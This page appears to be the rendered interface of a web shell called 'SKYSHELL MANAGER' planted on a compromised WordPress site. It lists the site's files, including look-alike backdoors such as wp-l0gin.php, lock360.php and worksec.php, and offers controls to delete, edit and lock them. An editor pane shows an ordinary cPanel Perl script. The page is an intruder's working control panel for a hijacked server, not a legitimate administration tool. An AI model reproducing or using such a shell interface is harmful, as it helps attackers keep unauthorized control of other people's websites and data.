📁
SKYSHELL MANAGER
PHP v8.3.32
Create
Create
Path:
root
/
home
/
nnoticias
/
public_html
/
Name
Size
Perm
Actions
📁
.tmb
-
0777
🗑️
🏷️
🔒
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
3ee10
-
0555
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
d4bf7e
-
0755
🗑️
🏷️
🔒
📁
sap-logs
-
0755
🗑️
🏷️
🔒
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bk
2.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess_backup
5.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.litespeed_flag
0.29 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cleanup.php
2.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
5.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
htaccess.txt
0.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.78 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
0.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.55 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.44 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
search.php
1.47 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
4.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
30.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-theme.php
216.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: show_php_settings
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2026 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package scripts::show_php_settings; use cPstrict; use Getopt::Long; use Cpanel::Config::userdata (); use Cpanel::PHP::Config (); use Cpanel::PHP::Vhosts (); use Cpanel::ProgLang (); sub usage ( $err_msg = undef ) { if ( defined $err_msg ) { say "Error: $err_msg\n"; } print <<"END_MESSAGE"; Usage: $0 [--help|-h] Show the PHP settings for all users and domains. See also /usr/local/cpanel/scripts/mass_change_php_setting mass_change_php_setting allows you to change all users with a specific PHP version to another version. END_MESSAGE exit 1; } sub script () { say "Showing PHP settings for all users and domains."; my $php = Cpanel::ProgLang->new( 'type' => 'php' ); my $system_php_version = $php->get_system_default_package(); say "System default PHP version: $system_php_version"; my @users = Cpanel::Config::userdata::load_user_list(); my $versions = Cpanel::PHP::Vhosts::get_php_vhost_versions_from_php_config( Cpanel::PHP::Config::get_php_config_for_users( \@users ) ); printf( "%-15s %-30s %-10s %-5s %s\n", "User", "Vhost", "Current", "FPM", "System Default?" ); my @lines; foreach my $domain (@$versions) { my $user = $domain->{account}; my $vhost = $domain->{vhost}; my $current_ver = $domain->{version}; my $php_fpm = $domain->{php_fpm}; my $is_default = 0; $is_default = 1 if ( exists( $domain->{phpversion_source}->{system_default} ) ); push( @lines, sprintf( "%-15s %-30s %-10s %-5s %s\n", $user, $vhost, $current_ver, $php_fpm, ( $is_default ? '(system default)' : '' ) ) ); } print sort @lines; return 0; } # Modulino behavior unless (caller) { my $help; my $ok = GetOptions( 'help|h' => \$help, ); if ( !$ok ) { exit usage("Invalid option.\n"); } if ($help) { exit usage(); } exit script(); } 1; __END__ =head1 NAME scripts::show_php_settings - Display PHP settings for all users and domains =head1 SYNOPSIS /usr/local/cpanel/scripts/show_php_settings [--help|-h] =head1 DESCRIPTION This script displays the PHP settings for all users and domains on the server. It shows the current PHP version, PHP-FPM status, and whether each domain is using the system default PHP version. The output includes: =over 4 =item * User - The cPanel account username =item * Vhost - The domain name =item * Current - The PHP version currently assigned to the domain =item * FPM - Whether PHP-FPM is enabled (1) or disabled (0) =item * System Default? - Indicates if the domain inherits the system default PHP version =back =head1 OPTIONS =over 4 =item B<--help>, B<-h> Display usage information and exit. =back =head1 EXIT STATUS Returns 0 on success, 1 on error or when displaying help. =head1 EXAMPLE OUTPUT Showing PHP settings for all users and domains. System default PHP version: ea-php83 User Vhost Current FPM System Default? alice alice.example.com ea-php82 1 bob bob.example.com ea-php83 0 (system default) charlie charlie.example.com ea-php84 1 =head1 SEE ALSO L<scripts::mass_change_php_setting> - Change PHP versions for multiple domains =cut
Save